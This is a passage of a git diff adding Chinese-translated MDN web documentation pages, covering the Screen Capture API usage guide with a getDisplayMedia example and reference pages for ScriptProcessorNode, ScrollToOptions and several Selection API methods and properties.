As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.

+ +

潜在的风险

+ +

Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.

+ +

For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.

+ +

User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.

+ +

Authorizing capture of display contents

+ +

Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.

+
+
+ +

示例

+ +

Simple screen capture

+ +

In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.

+ +

JavaScript

+ +

There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.

+ +
Setup
+ +

First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.

+ +

The object displayMediaOptions contains the {{domxref("MediaStreamConstraints")}} to pass into getDisplayMedia(); here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to always, indicating that the mouse cursor should always be included in the captured media.

+ +
+

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

+
+ +

Finally, event listeners are established to detect user clicks on the start and stop buttons.

+ +
const videoElem = document.getElementById("video");
+const logElem = document.getElementById("log");
+const startElem = document.getElementById("start");
+const stopElem = document.getElementById("stop");
+
+// Options for getDisplayMedia()
+
+var displayMediaOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: false
+};
+
+// Set event listeners for the start and stop buttons
+startElem.addEventListener("click", function(evt) {
+  startCapture();
+}, false);
+
+stopElem.addEventListener("click", function(evt) {
+  stopCapture();
+}, false);
+ +
Logging content
+ +

To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is log.

+ +
console.log = msg => logElem.innerHTML += `${msg}<br>`;
+console.error = msg => logElem.innerHTML += `<span class="error">${msg}</span><br>`;
+console.warn = msg => logElem.innerHTML += `<span class="warn">${msg}<span><br>`;
+console.info = msg => logElem.innerHTML += `<span class="info">${msg}</span><br>`;
+ +

This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.

+ +
Starting display capture
+ +

The startCapture() method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. startCapture() is called when the "Start Capture" button is clicked.

+ +
async function startCapture() {
+  logElem.innerHTML = "";
+
+  try {
+    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+    dumpOptionsInfo();
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+}
+ +

After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, startCapture() calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by displayMediaOptions. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by getDisplayMedia() resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.

+ +

The stream is connected to the {{HTMLElement("video")}} element by storing the returned MediaStream into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.

+ +

The dumpOptionsInfo() function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.

+ +

If any of that fails, the catch() clause outputs an error message to the log box.

+ +
Stopping display capture
+ +

The stopCapture() method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, srcObject is set to null to make sure it's understood by anyone interested that there's no stream connected.

+ +
function stopCapture(evt) {
+  let tracks = videoElem.srcObject.getTracks();
+
+  tracks.forEach(track => track.stop());
+  videoElem.srcObject = null;
+}
+ +
Dumping configuration information
+ +

For informational purposes, the startCapture() method shown above calls a method named dumpOptions(), which outputs the current track settings as well as the constraints that were placed upon the stream when it was created.

+ +
function dumpOptionsInfo() {
+  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
+
+  console.info("Track settings:");
+  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
+  console.info("Track constraints:");
+  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
+}
+ +

The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currently in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}

+ +

HTML

+ +

The HTML starts with a simple introductory paragraph, then gets into the meat of things.

+ +
    +
+ +
<p>This example shows you the contents of the selected part of your display.
+Click the Start Capture button to begin.</p>
+
+<p><button id="start">Start Capture</button>&nbsp;<button id="stop">Stop Capture</button></p>
+
+<video id="video" autoplay></video>
+<br>
+
+<strong>Log:</strong>
+<br>
+<pre id="log"></pre>
+ +

The key parts of the HTML are:

+ +
    +
  1. A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the startCapture() function to request access to, and begin capturing, screen contents.
  2. +
  3. A second button, "Stop Capture", which upon being clicked calls stopCapture() to terminate capture of screen contents.
  4. +
  5. A {{HTMLElement("video")}} into which the captured screen contents are streamed.
  6. +
  7. A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.
  8. +
+ +

CSS

+ +

The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (width: 98%). {{cssxref("max-width")}} is set to 860px to set an absolute upper limit on the video's size,

+ +

The error, warn, and info classes are used to style the corresponding console output types.

+ +
#video {
+  border: 1px solid #999;
+  width: 98%;
+  max-width: 860px;
+}
+
+.error {
+  color: red;
+}
+
+.warn {
+  color: orange;
+}
+
+.info {
+  color: darkgreen;
+}
+ +

Result

+ +

The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.

+ +

{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}

+ +

安全

+ +

In order to function when Feature Policy is enabled, you will need the display-capture permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <iframe> element's {{htmlattrxref("allow", "iframe")}} attribute.

+ +

For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:

+ +
Feature-Policy: display-capture 'self'
+ +

If you're performing screen capture within an <iframe>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:

+ +
<iframe src="https://mycode.example.net/etc" allow="display-capture">
+</iframe>
+
+ +

相关链接

+ + +
diff --git a/files/zh-cn/web/api/scriptprocessornode/index.html b/files/zh-cn/web/api/scriptprocessornode/index.html new file mode 100644 index 0000000000..d53e09691e --- /dev/null +++ b/files/zh-cn/web/api/scriptprocessornode/index.html @@ -0,0 +1,151 @@ +--- +title: ScriptProcessorNode +slug: Web/API/ScriptProcessorNode +translation_of: Web/API/ScriptProcessorNode +--- +

{{APIRef("Web Audio API")}}

+ +
+

注意:这个特性在2014年8月29日发布的Web Audio API规范中已经标记为不推荐,将很快会被Audio Workers代替.

+
+ +
+

ScriptProcessorNode 接口允许使用JavaScript生成、处理、分析音频. 它是一个 {{domxref("AudioNode")}}, 连接着两个缓冲区音频处理模块, 其中一个缓冲区包含输入音频数据,另外一个包含处理后的输出音频数据. 实现了 {{domxref("AudioProcessingEvent")}} 接口的一个事件,每当输入缓冲区有新的数据时,事件将被发送到该对象,并且事件将在数据填充到输出缓冲区后结束.

+
+ +

The ScriptProcessorNode stores the input in a buffer, send the audioprocess event. The EventHandler takes the input buffer and fill the output buffer which is sent to the output by the ScriptProcessorNode.

+ +

输入和输出缓冲区大小在创建时定义, 当 {{domxref("AudioContext.createScriptProcessor()")}} 方法被调用时 (都是由 {{domxref("AudioContext.createScriptProcessor()")}}的 bufferSize 参数定义). 缓冲区大小必须是在 256 到 16384 之间的 2 的次幂, 为 256, 512, 1024, 2048, 4096, 8192 或者 16384. Small numbers lower the latency, but large number may be necessary to avoid audio breakup and glitches.

+ +

If the buffer size is not defined, which is recommended, the browser will pick one that its heuristic deems appropriate.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs1
Channel count mode"max"
Channel count2 (not used in the default count mode)
Channel interpretation"speakers"
+ +

属性

+ +

从上一级继承属性, {{domxref("AudioNode")}}.

+ +
+
{{domxref("ScriptProcessorNode.bufferSize")}} {{readonlyInline}}
+
返回一个表示输入和输出缓冲区大小的整数. 它的值可以是在25616384 之间的 2 的次幂.
+
+ +

事件句柄

+ +
+
{{domxref("ScriptProcessorNode.onaudioprocess")}}
+
Represents the {{domxref("EventHandler")}} to be called.
+
+ +

方法

+ +

No specific methods; inherits methods from its parent, {{domxref("AudioNode")}}.

+ +

示例

+ +

{{page("/en-US/docs/Web/API/AudioContext.createScriptProcessor","Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-scriptprocessornode-interface---deprecated', 'ScriptProcessorNode')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25)}}{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoMobile(25)}}1.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/scrolltooptions/index.html b/files/zh-cn/web/api/scrolltooptions/index.html new file mode 100644 index 0000000000..53593c4232 --- /dev/null +++ b/files/zh-cn/web/api/scrolltooptions/index.html @@ -0,0 +1,72 @@ +--- +title: ScrollToOptions +slug: Web/API/ScrollToOptions +translation_of: Web/API/ScrollToOptions +--- +
{{ APIRef("CSSOM View") }}
+ +

CSSOM View 规范的 ScrollToOptions 字典(dictionary)当中的属性用于指定一个元素应该滚动到哪里,以及滚动是否应该平滑。

+ +

一个 ScrollToOptions 字典可以作为参数提供给下面的方法:

+ + + +

属性

+ +
+
{{domxref("ScrollToOptions.top")}}
+
指定 window 或元素 Y 轴方向滚动的像素数。
+
{{domxref("ScrollToOptions.left")}}
+
指定 window 或元素 X 轴方向滚动的像素数。
+
{{domxref("ScrollToOptions.behavior")}}
+
指定滚动是否应该平滑进行,还是立即跳到指定位置。该属性实际上定义在 ScrollOptions 字典上,它通过 ScrollToOptions 实现。
+
+ +

示例

+ +

在我们的 scrolltooptions 示例中(在线查看 ),包含一个表单,允许用户输入三个值——两个数值表示 left 和 top 属性(即沿 X 和 Y 轴方向滚动后的位置),以及一个表示是否开启平滑滚动的复选框。

+ +

当提交表单时,会运行事件监听器,该事件监听器会把输入的值写入 ScrollToOptions 字典,然后传入 {{domxref("Window.ScrollTo()")}} 方法,并调用:

+ +
form.addEventListener('submit', (e) => {
+  e.preventDefault();
+  scrollOptions = {
+    left: leftInput.value,
+    top: topInput.value,
+    behavior: scrollInput.checked ? 'smooth' : 'auto'
+  }
+
+  window.scrollTo(scrollOptions);
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dictdef-scrolltooptions', 'ScrollToOptions')}}{{Spec2('CSSOM View')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.ScrollToOptions", 10)}}

+
diff --git a/files/zh-cn/web/api/selection/addrange/index.html b/files/zh-cn/web/api/selection/addrange/index.html new file mode 100644 index 0000000000..3c0f54a082 --- /dev/null +++ b/files/zh-cn/web/api/selection/addrange/index.html @@ -0,0 +1,68 @@ +--- +title: Selection.addRange() +slug: Web/API/Selection/addRange +translation_of: Web/API/Selection/addRange +--- +
{{ApiRef}}
+ +

概述

+ +

向选区({{domxref("Selection")}})中添加一个区域({{domxref("Range")}})。

+ +

语法

+ +
sel.addRange(range)
+ +

参数

+ +
+
range
+
一个区域({{ domxref("Range") }})对象将被增加到选区({{ domxref("Selection") }})当中。
+
+ +

例子

+ +
/* 在一个HTML文档中选中所有加粗的文本。 */
+
+var strongs = document.getElementsByTagName("strong");
+var s = window.getSelection();
+
+if(s.rangeCount > 0) s.removeAllRanges();
+
+for(var i = 0; i < strongs.length; i++) {
+  var range = document.createRange();
+  range.selectNode(strongs[i]);
+  s.addRange(range);
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML Editing', '#dom-selection-addrange', 'Selection.addRange()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-addRange-void-Range-range', 'Selection.addRange()')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +

{{Compat("api.Selection.addRange")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/selection/anchornode/index.html b/files/zh-cn/web/api/selection/anchornode/index.html new file mode 100644 index 0000000000..6fd53e9b1b --- /dev/null +++ b/files/zh-cn/web/api/selection/anchornode/index.html @@ -0,0 +1,98 @@ +--- +title: Selection.anchorNode +slug: Web/API/Selection/anchorNode +translation_of: Web/API/Selection/anchorNode +--- +
{{ApiRef}}
+ +

概述

+ +

Selection.anchorNode 只读属性返回选区开始位置所属的节点({{domxref("Node")}})。

+ +

用法

+ +
sel.anchorNode
+ +

注意

+ +

用户可能从左至右进行框选(沿着文字顺序)或者从右至左框选(沿着文字顺序的反方向)。锚点位于用户开始选择的位置。可以通过按住Shift和方向键来得知锚点所在的位置。选区的锚点是不会移动的,但是选区的焦点、选区其他的结束位置(多个选区,译者注)可以移动。

+ +

说明

+ + + + + + + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML Editing', '#dom-selection-anchornode', 'Selection.anchorNode')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '##widl-Selection-anchorNode', 'Selection.anchorNode')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/selection/anchoroffset/index.html b/files/zh-cn/web/api/selection/anchoroffset/index.html new file mode 100644 index 0000000000..04c385181b --- /dev/null +++ b/files/zh-cn/web/api/selection/anchoroffset/index.html @@ -0,0 +1,94 @@ +--- +title: Selection.anchorOffset +slug: Web/API/Selection/anchorOffset +translation_of: Web/API/Selection/anchorOffset +--- +
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+ +

只读属性,返回选区的锚节点( {{domxref("Selection.anchorNode")}})起点偏移量的数字。返回值从零开始计数,如果选区从锚节点({{domxref("Selection.anchorNode")}})的第一个字符开始,返回值为0。

+ +

语法

+ +
number = sel.anchorOffset
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-anchoroffset', 'Selection.anchorOffset')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-anchorOffset', 'Selection.anchorOffset')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/selection/collapse/index.html b/files/zh-cn/web/api/selection/collapse/index.html new file mode 100644 index 0000000000..80a526f1fb --- /dev/null +++ b/files/zh-cn/web/api/selection/collapse/index.html @@ -0,0 +1,71 @@ +--- +title: Selection.collapse() +slug: Web/API/Selection/collapse +tags: + - API + - HTML Editing + - Method + - Selection +translation_of: Web/API/Selection/collapse +--- +
{{ApiRef("DOM")}}{{SeeCompatTable}}
+ +

 Selection.collapse() 方法可以收起当前选区到一个点。文档不会发生改变。如果选区的内容是可编辑的并且焦点落在上面,则光标会在该处闪烁。

+ +

语法

+ +
sel.collapse(parentNode, offset);
+
+ +

参数

+ +
+
parentNode
+
光标落在的目标节点。
+
+ +
+
offset {{optional_inline}}
+
落在节点的偏移量。
+
+ +

例子

+ +
/* 将光标收起到文档body的开头 */
+var body = document.getElementsByTagName("body")[0];
+window.getSelection().collapse(body,0);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Selection API', '#widl-Selection-collapse-void-Node-node-unsigned-long-offset', 'Selection.collapse()')}}{{Spec2('Selection API')}} 
{{SpecName('HTML Editing', '#dom-selection-collapse', 'Selection.collapse()')}}{{Spec2('HTML Editing')}}Initial definition
+ +

浏览器兼容性

+ +
{{Compat("api.Selection.collapse")}}
+ +
 
+ +

相关连接

+ + diff --git a/files/zh-cn/web/api/selection/collapsetoend/index.html b/files/zh-cn/web/api/selection/collapsetoend/index.html new file mode 100644 index 0000000000..a0c08c8da9 --- /dev/null +++ b/files/zh-cn/web/api/selection/collapsetoend/index.html @@ -0,0 +1,97 @@ +--- +title: Selection.collapseToEnd() +slug: Web/API/Selection/collapseToEnd +translation_of: Web/API/Selection/collapseToEnd +--- +
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+ +

Selection.collapseToEnd() 方法的作用是取消当前选区,并把光标定位在原选区的最末尾处,如果此时光标所处的位置是可编辑的,且它获得了焦点,则光标会在原地闪烁。

+ +

语法

+ +
sel.collapseToEnd()
+
+ +

参数

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-collapsetoend', 'Selection.collapseToEnd()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-collapseToEnd-void', 'Selection.collapseToEnd()')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/selection/collapsetostart/index.html b/files/zh-cn/web/api/selection/collapsetostart/index.html new file mode 100644 index 0000000000..c231a4c17e --- /dev/null +++ b/files/zh-cn/web/api/selection/collapsetostart/index.html @@ -0,0 +1,51 @@ +--- +title: Selection.collapseToStart() +slug: Web/API/Selection/collapseToStart +tags: + - API + - Selection + - 参考 + - 方法 +translation_of: Web/API/Selection/collapseToStart +--- +
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+ +

Selection.collapseToStart() 方法的作用是取消当前选区,并把光标定位在原选区的最开始处,如果此时光标所处的位置是可编辑的,且它获得了焦点,则光标会在原地闪烁。

+ +

语法

+ +
sel.collapseToStart()
+
+ +

参数

+ +

无。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Selection API', '#dom-selection-collapsetostart', 'Selection.collapseToStart()')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ + + +

{{Compat("api.Selection.collapseToStart")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/selection/containsnode/index.html b/files/zh-cn/web/api/selection/containsnode/index.html new file mode 100644 index 0000000000..7b7b83160e --- /dev/null +++ b/files/zh-cn/web/api/selection/containsnode/index.html @@ -0,0 +1,110 @@ +--- +title: Selection.containsNode() +slug: Web/API/Selection/containsNode +translation_of: Web/API/Selection/containsNode +--- +
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+ +

Selection.containsNode() 判断指定的节点是否包含在Selection中(是否被选中).

+ +

语法

+ +
sel.containsNode(aNode,aPartlyContained)
+
+ +

参数

+ +
+
aNode
+
用于判断是否包含在Selection中的那个节点
+
aPartlyContained
+
当此参数为true时, 当selection包含节点aNode的一部分或全部时,containsNode()返回true.
+ 当此参数为false时, 只有当selection完全包含节点aNode时,containsNode() 才返回true.
+
+ +

例子

+ +
 /* 检查body中是否有节点被选中 */
+ console.log(window.getSelection().containsNode(document.body, true));
+ +

相关规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML Editing', '#dom-selection-containsNode', 'Selection.containsNode')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-containsNode-boolean-Node-node-boolean-allowPartialContainment', 'Selection.containsNode()')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基础特性支持{{CompatUnknown}}{{CompatGeckoDesktop(2)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
基础特性支持{{CompatUnknown}}{{CompatGeckoMobile(2)}}[1]1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 在Firefox 35之前版本的浏览器中, 此方法不会在aNode为null时抛出异常.

+ +

参考

+ + diff --git a/files/zh-cn/web/api/selection/extend/index.html b/files/zh-cn/web/api/selection/extend/index.html new file mode 100644 index 0000000000..9482371b79 --- /dev/null +++ b/files/zh-cn/web/api/selection/extend/index.html @@ -0,0 +1,130 @@ +--- +title: Selection.extend() +slug: Web/API/Selection/extend +translation_of: Web/API/Selection/extend +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

 Selection.extend() 方法移动选中区的焦点到指定的点。选中区的锚点不会移动。选中区将从锚点开始到新的焦点,不管方向。

+ +

语法

+ +
sel.extend(node, offset)
+
+ +

参数

+ +
+
node
+
焦点会被移至此节点内。
+
offset {{optional_inline}}
+
焦点会被移至 node 内的偏移位置。如果没有指定,使用 0 作为默认值。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-extend', 'Selection.extend()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-extend-void-Node-node-unsigned-long-offset', 'Selection.extend()')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatNo}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
offset parameter is optional{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(55)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
offset parameter is optional{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(55)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + + +
+
 
+
diff --git a/files/zh-cn/web/api/selection/focusnode/index.html b/files/zh-cn/web/api/selection/focusnode/index.html new file mode 100644 index 0000000000..be2aecd57b --- /dev/null +++ b/files/zh-cn/web/api/selection/focusnode/index.html @@ -0,0 +1,95 @@ +--- +title: Selection.focusNode +slug: Web/API/Selection/focusNode +translation_of: Web/API/Selection/focusNode +--- +
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+ +

Selection.focusNode是只读的返回所选内容的结束位置部分所属的节点.

+ +

用户可能会从左到右(按文字方向) 或从右到左 (按文字相反方向)进行选择. focusNode就是用户选择时最后停下来所处的元素节点. 当你同时按下shift键和任何一个方向键来改变选择时,你就能看到:选择的结束位置在移动, 但是选择的锚点-起始位置不会改变.

+ +

语法

+ +
node = sel.focusNode
+
+ +

相关规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML Editing', '#dom-selection-focusnode', 'Selection.focusNode')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-focusNode', 'Selection.focusNode')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基础特性支持{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
基础特性支持{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/selection/focusoffset/index.html b/files/zh-cn/web/api/selection/focusoffset/index.html new file mode 100644 index 0000000000..53e346609b --- /dev/null +++ b/files/zh-cn/web/api/selection/focusoffset/index.html @@ -0,0 +1,102 @@ +--- +title: Selection.focusOffset +slug: Web/API/Selection/focusOffset +tags: + - HTML编辑 + - 只读 + - 属性 + - 选区 +translation_of: Web/API/Selection/focusOffset +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

只读属性, 返回选区终点(鼠标松开瞬间所记录的那个点)在焦点({{domxref("Selection.focusNode")}})中的偏移量。返回值从零开始计数,如果选区({{domxref("Selection")}})在焦点({{domxref("Selection.focusNode")}})的第一个字符前结束,返回值为0。

+ +

语法

+ +
offset = sel.focusOffset
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML Editing', '#dom-selection-focusOffset', 'Selection.focusOffset')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-focusOffset', 'Selection.focusOffset')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
平台ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
最低支持版本{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
平台AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
最低支持版本{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/selection/getrangeat/index.html b/files/zh-cn/web/api/selection/getrangeat/index.html new file mode 100644 index 0000000000..0271633685 --- /dev/null +++ b/files/zh-cn/web/api/selection/getrangeat/index.html @@ -0,0 +1,65 @@ +--- +title: Selection.getRangeAt() +slug: Web/API/Selection/getRangeAt +translation_of: Web/API/Selection/getRangeAt +--- +
{{APIRef}}
+ + +
概述
+ + +

返回一个包含当前选区内容的区域对象。

+ +

语法

+ +
range = sel.getRangeAt(index)
+
+ +

参数

+ +
+
range
+
 将返回 range 对象。
+
index
+
该参数指定需要被处理的子集编号(从零开始计数)。如果该数值被错误的赋予了大于或等于 rangeCount 结果的数字,将会产生错误。
+
+ +

例子

+ +
let ranges = [];
+
+sel = window.getSelection();
+
+for(var i = 0; i < sel.rangeCount; i++) {
